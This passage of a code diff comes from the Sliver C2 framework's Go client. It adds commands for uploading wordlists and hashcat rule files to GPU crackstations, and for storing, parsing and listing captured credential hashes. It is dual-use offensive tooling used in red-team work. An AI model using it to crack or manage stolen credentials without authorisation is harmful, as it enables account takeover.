if localPath == "" {
con.PrintErrorf("No path specified, see --help\n")
return
}
rulesStat, err := os.Stat(localPath)
if os.IsNotExist(err) || rulesStat.IsDir() {
con.PrintErrorf("File does not exist: %s\n", localPath)
return
}
if name == "" {
name = rulesStat.Name()
}
rules, err := os.Open(localPath)
if err != nil {
con.PrintErrorf("Failed to open file: %s\n", err)
return
}
defer rules.Close()
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
Type: clientpb.CrackFileType_RULES,
Name: name,
UncompressedSize: rulesStat.Size(),
IsCompressed: true,
})
if err != nil {
con.PrintErrorf("Failed to create file: %s\n", err)
return
}
con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
crackFile.Name,
util.ByteCountBinary(crackFile.UncompressedSize),
)
addCrackFile(rules, crackFile, con)
}
// CrackHcstat2AddCmd - add a hcstat2 file
func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
var localPath string
if len(args) > 0 {
localPath = args[0]
}
if localPath == "" {
con.PrintErrorf("No path specified, see --help\n")
return
}
hcstat2Stat, err := os.Stat(localPath)
if os.IsNotExist(err) || hcstat2Stat.IsDir() {
con.PrintErrorf("File does not exist: %s\n", localPath)
return
}
if name == "" {
name = hcstat2Stat.Name()
}
hcstat2, err := os.Open(localPath)
if err != nil {
con.PrintErrorf("Failed to open file: %s\n", err)
return
}
defer hcstat2.Close()
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
Type: clientpb.CrackFileType_MARKOV_HCSTAT2,
Name: name,
UncompressedSize: hcstat2Stat.Size(),
IsCompressed: true,
})
if err != nil {
con.PrintErrorf("Failed to create file: %s\n", err)
return
}
con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
crackFile.Name,
util.ByteCountBinary(crackFile.UncompressedSize),
)
addCrackFile(hcstat2, crackFile, con)
}
func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) {
digest := sha256.New()
wordlistReader := io.TeeReader(localFile, digest)
chunks := make(chan []byte, 1) // Chunks are in-memory!
var chunkReaderErr error
go func() {
chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
}()
n := uint32(0)
total := int64(0)
errors := []error{}
for chunk := range chunks {
total += int64(len(chunk))
con.PrintInfof("Uploading %s (chunk %d - %s) ...",
util.ByteCountBinary(total),
n,
util.ByteCountBinary(int64(len(chunk))),
)
_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
CrackFileID: crackFile.ID,
N: n,
Data: chunk,
})
n++
if err != nil {
errors = append(errors, err)
continue
}
}
con.Printf(console.Clearln + "\r")
if chunkReaderErr != nil {
con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
return
}
if len(errors) > 0 {
for _, err := range errors {
con.PrintErrorf("Failed to upload chunk: %s\n", err)
}
return
}
_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
ID: crackFile.ID,
Sha2_256: hex.EncodeToString(digest.Sum(nil)),
})
if err != nil {
con.PrintErrorf("Failed to complete file upload: %s\n", err)
return
}
con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
}
func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
defer close(chunks)
start := int64(0)
tmpFile, err := os.CreateTemp("", "sliver-wordlist")
if err != nil {
return err
}
defer tmpFile.Close()
compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
for {
readBuf := make([]byte, 32*1024*1024) // 32MB
readN, readErr := wordlistReader.Read(readBuf)
if readErr != nil && readErr != io.EOF {
return err
}
if readN != 0 {
_, err := compressor.Write(readBuf[:readN])
if err != nil {
return err
}
compressor.Flush()
tmpFileStat, err := os.Stat(tmpFile.Name())
if err != nil {
return err
}
if tmpFileStat.Size()-start >= chunkSize {
stop := start + chunkSize
chunk, err := readChunkAt(tmpFile, start, chunkSize)
if err != nil {
return err
}
chunks <- chunk
start = stop
}
}
if readErr == io.EOF {
chunk, err := readChunkAt(tmpFile, start, chunkSize)
if err != nil {
return err
}
chunks <- chunk
return nil
}
}
}
func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
chunkBuf := make([]byte, chunkSize)
n, err := tmpFile.ReadAt(chunkBuf, offset)
if err != nil && err != io.EOF {
return nil, err
}
return chunkBuf[:n], nil
}
// CrackWordlistsRmCmd - Manage GPU cracking stations
func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var wordlistName string
if len(args) > 0 {
wordlistName = args[0]
}
if wordlistName == "" {
con.PrintErrorf("No name specified, see --help\n")
return
}
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
found := false
for _, wordlist := range wordlists.Files {
if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
found = true
_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
break
}
}
if found {
con.PrintInfof("Removed wordlist: %s\n", wordlistName)
} else {
con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
}
}
// CrackRulesRmCmd - Manage GPU cracking stations
func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var rulesName string
if len(args) > 0 {
rulesName = args[0]
}
if rulesName == "" {
con.PrintErrorf("No name specified, see --help\n")
return
}
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
found := false
for _, rulesFile := range rules.Files {
if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
found = true
_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
break
}
}
if found {
con.PrintInfof("Removed rules: %s\n", rulesName)
} else {
con.PrintErrorf("Rules not found: %s\n", rulesName)
}
}
// CrackHcstat2RmCmd - remove a hcstat2 file
func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var hcstat2Name string
if len(args) > 0 {
hcstat2Name = args[0]
}
if hcstat2Name == "" {
con.PrintErrorf("No name specified, see --help\n")
return
}
hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
found := false
for _, hcstat2File := range hcstat2s.Files {
if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
found = true
_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
break
}
}
if found {
con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
} else {
con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
}
}
+148
View File
@@ -0,0 +1,148 @@
package crack
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// CrackCmd - GPU password cracking interface
func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
if !AreCrackersOnline(con) {
PrintNoCrackstations(con)
} else {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
}
crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(crackFiles.Files) == 0 {
con.PrintInfof("No crack files uploaded to server\n")
} else {
con.Println()
PrintCrackFilesByType(crackFiles, con)
}
}
// CrackStationsCmd - Manage GPU cracking stations
func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(crackers.Crackstations) == 0 {
PrintNoCrackstations(con)
} else {
PrintCrackers(crackers.Crackstations, con)
}
}
func PrintNoCrackstations(con *console.SliverConsoleClient) {
con.PrintInfof("No crackstations connected to server\n")
}
func AreCrackersOnline(con *console.SliverConsoleClient) bool {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil {
return false
}
return len(crackers.Crackstations) > 0
}
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name
})
for index, cracker := range crackers {
printCracker(cracker, index, con)
if index < len(crackers)-1 {
con.Println()
con.Println()
}
}
}
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
if 0 < len(cracker.CUDA) {
for _, cuda := range cracker.CUDA {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
}
}
if 0 < len(cracker.Metal) {
for _, metal := range cracker.Metal {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
}
}
if 0 < len(cracker.OpenCL) {
for _, openCL := range cracker.OpenCL {
tw.AppendSeparator()
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
}
}
con.Printf("%s\n", tw.Render())
con.Println()
printBenchmarks(cracker, con)
}
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
for hashType, speed := range cracker.Benchmarks {
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
}
con.Printf("%s\n", tw.Render())
}
+110
View File
@@ -0,0 +1,110 @@
package crack
import (
"context"
"fmt"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/rsteube/carapace"
)
func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
}
results := make([]string, 0)
for _, file := range hcstat2.Files {
if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
continue
}
results = append(results, file.Name)
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
})
}
func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
}
results := make([]string, 0)
for _, file := range hcstat2.Files {
if file.Type != clientpb.CrackFileType_WORDLIST {
continue
}
results = append(results, file.Name)
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
})
}
func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
}
results := make([]string, 0)
for _, file := range hcstat2.Files {
if file.Type != clientpb.CrackFileType_RULES {
continue
}
results = append(results, file.Name)
createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
})
}
func byteCountSI(b int64) string {
const unit = 1000
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := int64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %cB",
float64(b)/float64(div), "kMGTPE"[exp])
}
func byteCountIEC(b int64) string {
const unit = 1024
if b < unit {
return fmt.Sprintf("%d B", b)
}
div, exp := int64(unit), 0
for n := b / unit; n >= unit; n /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %ciB",
float64(b)/float64(div), "KMGTPE"[exp])
}
+213
View File
@@ -0,0 +1,213 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"os"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
const (
UserColonHashNewlineFormat = "user:hash" // username:hash\n
HashNewlineFormat = "hash" // hash\n
CSVFormat = "csv" // username,hash\n
)
// CredsCmd - Add new credentials
func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
collection, _ := cmd.Flags().GetString("collection")
username, _ := cmd.Flags().GetString("username")
plaintext, _ := cmd.Flags().GetString("plaintext")
hash, _ := cmd.Flags().GetString("hash")
hashTypeF, _ := cmd.Flags().GetString("hash-type")
hashType := parseHashTypeString(hashTypeF)
if plaintext == "" && hash == "" {
con.PrintErrorf("Either a plaintext or a hash must be provided\n")
return
}
if hashType == clientpb.HashType_INVALID {
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
return
}
_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
Credentials: []*clientpb.Credential{
{
Collection: collection,
Username: username,
Plaintext: plaintext,
Hash: hash,
HashType: hashType,
},
},
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintCreds(creds.Credentials, con)
}
// CredsCmd - Add new credentials
func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
collection, _ := cmd.Flags().GetString("collection")
filePath := args[0]
fileFormat, _ := cmd.Flags().GetString("file-format")
if _, err := os.Stat(filePath); os.IsNotExist(err) {
con.PrintErrorf("File '%s' does not exist\n", filePath)
return
}
hashTypeF, _ := cmd.Flags().GetString("hash-type")
hashType := parseHashTypeString(hashTypeF)
if hashType == clientpb.HashType_INVALID {
con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
return
}
con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
var creds *clientpb.Credentials
var err error
switch fileFormat {
case UserColonHashNewlineFormat:
creds, err = parseUserColonHashNewline(filePath, hashType)
case HashNewlineFormat:
creds, err = parseHashNewline(filePath, hashType)
case CSVFormat:
creds, err = parseCSV(filePath, hashType)
default:
con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
return
}
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, cred := range creds.Credentials {
cred.Collection = collection
}
con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
_, err = con.Rpc.CredsAdd(context.Background(), creds)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintCreds(creds.Credentials, con)
}
func parseHashType(raw string) clientpb.HashType {
hashInt, err := strconv.Atoi(raw)
if err == nil {
return clientpb.HashType(hashInt)
}
return clientpb.HashType_INVALID
}
// same as parseHashType, but use the string representation.
func parseHashTypeString(raw string) clientpb.HashType {
if hashType, valid := clientpb.HashType_value[raw]; valid {
return clientpb.HashType(hashType)
}
return clientpb.HashType_INVALID
}
func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 2 {
continue
}
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Username: parts[0],
Hash: parts[1],
HashType: hashType,
})
}
return creds, nil
}
func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
for scanner.Scan() {
line := scanner.Text()
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Hash: line,
HashType: hashType,
})
}
return creds, nil
}
func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
file, err := os.Open(filePath)
if err != nil {
return nil, err
}
defer file.Close()
scanner := bufio.NewScanner(file)
creds := &clientpb.Credentials{}
scanner.Scan() // skip header
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ",")
if len(parts) < 2 {
continue
}
creds.Credentials = append(creds.Credentials, &clientpb.Credential{
Username: parts[0],
Hash: parts[1],
HashType: hashType,
})
}
return creds, nil
}
+182
View File
@@ -0,0 +1,182 @@
package creds
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// CredsCmd - Manage credentials
func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(creds.Credentials) == 0 {
con.PrintInfof("No credentials 🙁\n")
return
}
PrintCreds(creds.Credentials, con)
}
func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
collections := make(map[string][]*clientpb.Credential)
for _, cred := range creds {
collections[cred.Collection] = append(collections[cred.Collection], cred)
}
for collection, creds := range collections {
printCollection(collection, creds, con)
con.Println()
}
}
func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if collection != "" {
tw.SetTitle(console.Bold + collection + console.Normal)
} else {
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
}
tw.AppendHeader(table.Row{
"ID",
"Username",
"Plaintext",
"Hash",
"Hash Type",
"Cracked",
})
for _, cred := range creds {
tw.AppendRow(table.Row{
strings.Split(cred.ID, "-")[0],
cred.Username,
cred.Plaintext,
cred.Hash,
cred.HashType,
cred.IsCracked,
})
}
con.Printf("%s\n", tw.Render())
}
// CredsHashTypeCompleter completes hash types.
func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0)
for hashType, desc := range hashTypes {
results = append(results, hashType)
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("hash types")
})
}
// CredsHashFileFormatCompleter completes file formats for hash-files
func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionValuesDescribed(
UserColonHashNewlineFormat, "One hash per line.",
HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
).Tag("hash file formats")
}
// CredsCollectionCompleter completes existing creds collection names
func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0)
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
}
if len(creds.Credentials) == 0 {
return carapace.Action{}
}
for _, cred := range creds.Credentials {
if cred.Collection != "" {
results = append(results, cred.Collection)
}
}
return carapace.ActionValues(results...).Tag("creds collections")
})
}
// CredsCredentialIDCompleter completes credential IDs.
func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0)
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil {
return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
}
if len(creds.Credentials) == 0 {
return carapace.Action{}
}
for _, cred := range creds.Credentials {
results = append(results, cred.ID)
var hostID string
if cred.OriginHostUUID != "" {
if len(cred.OriginHostUUID) > 8 {
hostID = cred.OriginHostUUID[8:]
} else {
hostID = cred.OriginHostUUID
}
} else {
hostID = "None"
}
var username string
if cred.Username != "" {
username = fmt.Sprintf(" (user: %s)", cred.Username)
}
var cracked string
if cred.IsCracked {
cracked = "[C]"
} else {
cracked = "[ ]"
}
desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
results = append(results, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("credentials")
})
}
+143
View File
@@ -0,0 +1,143 @@
package creds
// List of all available hash-types, for completions.
// Unfortunately this list has to be maintained manually,
// until someone devises a way to do so automatically.
var hashTypes = map[string]string{
"MD5": "MD5", // Enum 0 in proto file.
"MD4": "MD4",
"SHA1": "SHA1",
"SHA2_224": "SHA2-224",
"SHA2_256": "SHA2-256",
"SHA2_384": "SHA2-384",
"SHA2_512": "SHA2-512",
"SHA3_224": "SHA3-224",
"SHA3_256": "SHA3-256",
"SHA3_384": "SHA3-384",
"SHA3_512": "SHA3-512",
"RIPEMD_160": "RIPEMD-160",
"BLAKE2B_256": "BLAKE2b-512",
"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
"GOST_R_34_11_94": "GOST R 34.11-94",
"GPG": "GPG (AES-128/AES-256 (SHA-1($pass)))",
"HALF_MD5": "Half MD5",
"KECCAK_224": "Keccak-224",
"KECCAK_256": "Keccak-256",
"KECCAK_384": "Keccak-384",
"KECCAK_512": "Keccak-512",
"WHIRLPOOL": "Whirlpool",
"SIPHASH": "SipHash",
"MD5_UTF16LE": "md5(utf16le($pass))",
"SHA1_UTF16LE": "sha1(utf16le($pass))",
"SHA256_UTF16LE": "sha256(utf16le($pass))",
"SHA384_UTF16LE": "sha384(utf16le($pass))",
"SHA512_UTF16LE": "sha512(utf16le($pass))",
"BLAKE2B_512_PW_SALT": "BLAKE2b-512($pass.$salt)",
"BLAKE2B_512_SALT_PW": "BLAKE2b-512($salt.$pass)",
"MD5_PW_SALT": "md5($pass.$salt)",
"MD5_SALT_PW": "md5($salt.$pass)",
"MD5_SALT_PW_SALT": "md5($salt.$pass.$salt)",
"MD5_SALT_MD5_PW": "md5($salt.md5($pass))",
// ... TODO fill in the rest ...,
"CRC32": "CRC32",
"CRC32C": "CRC32B",
"CRC64Jones": "CRC64-Jones",
"JAVA_OBJECT": "Java object",
"MURMUR": "MurmurHash",
"MURMUR3": "MurmurHash3",
"THREE_DES": "3DES (PT = $salt, key = $pass)",
"DES": "DES (PT = $salt, key = $pass)",
"AES_128_ECB": "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
"AES_192_ECB": "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
"AES_256_ECB": "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
"CHA_CHA_20": "ChaCha20",
"LINUX_KERNEL_CRYPTO_API_24": "Linux Kernel Crypto API (2.4)",
"SKIP_32": "Skip32 (PT = $salt, key = $pass)",
"PBKDF2_HMAC_MD5": "PBKDF2-HMAC-MD5",
"PBKDF2_HMAC_SHA1": "PBKDF2-HMAC-SHA1",
"PBKDF2_HMAC_SHA256": "PBKDF2-HMAC-SHA256",
"PBKDF2_HMAC_SHA512": "PBKDF2-HMAC-SHA512",
"SCRYPT": "scrypt",
"PHPASS": "phpass",
"TACACS_PLUS": "TACACS+",
"SIP_DIGEST": "SIP digest authentication (MD5)",
"IKE_MD5": "IKE-PSK MD5",
"IKE_SHA1": "IKE-PSK SHA1",
"SNMP_V3_HMAC_MD5_96": "SNMPv3 HMAC-MD5-96",
"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
"SNMP_V3_HMAC_SHA1_96": "SNMPv3 HMAC-SHA1-96",
"SNMP_V3_HMAC_SHA224_128": "SNMPv3 HMAC-SHA224-128",
"SNMP_V3_HMAC_SHA256_192": "SNMPv3 HMAC-SHA256-192",
"SNMP_V3_HMAC_SHA384_256": "SNMPv3 HMAC-SHA384-256",
"SNMP_V3_HMAC_SHA512_384": "SNMPv3 HMAC-SHA512-384",
"WPA_EAPOL_PBKDF2": "WPA-EAPOL-PBKDF2",
"WPA_EAPOL_PMK": "WPA-EAPOL-PMK",
"WPA_PBKDF2_PMKID_EAPOL": "WPA-PBKDF2-PMKID+EAPOL",
"WPA_PMK_PMKID_EAPOL": "WPA-PMK-PMKID+EAPOL",
"WPA_PMKID_PBKDF2": "WPA-PMKID-PBKDF2",
"WPA_PMKID_PMK": "WPA-PMKID-PMK",
"IPMI2_PAKP_HMAC_SHA1": "IPMI2 RAKP HMAC-SHA1",
"CRAM_MD5": "CRAM-MD5",
"JWT": "JWT (JSON Web Token)",
"RADMIN_3": "Radmin3",
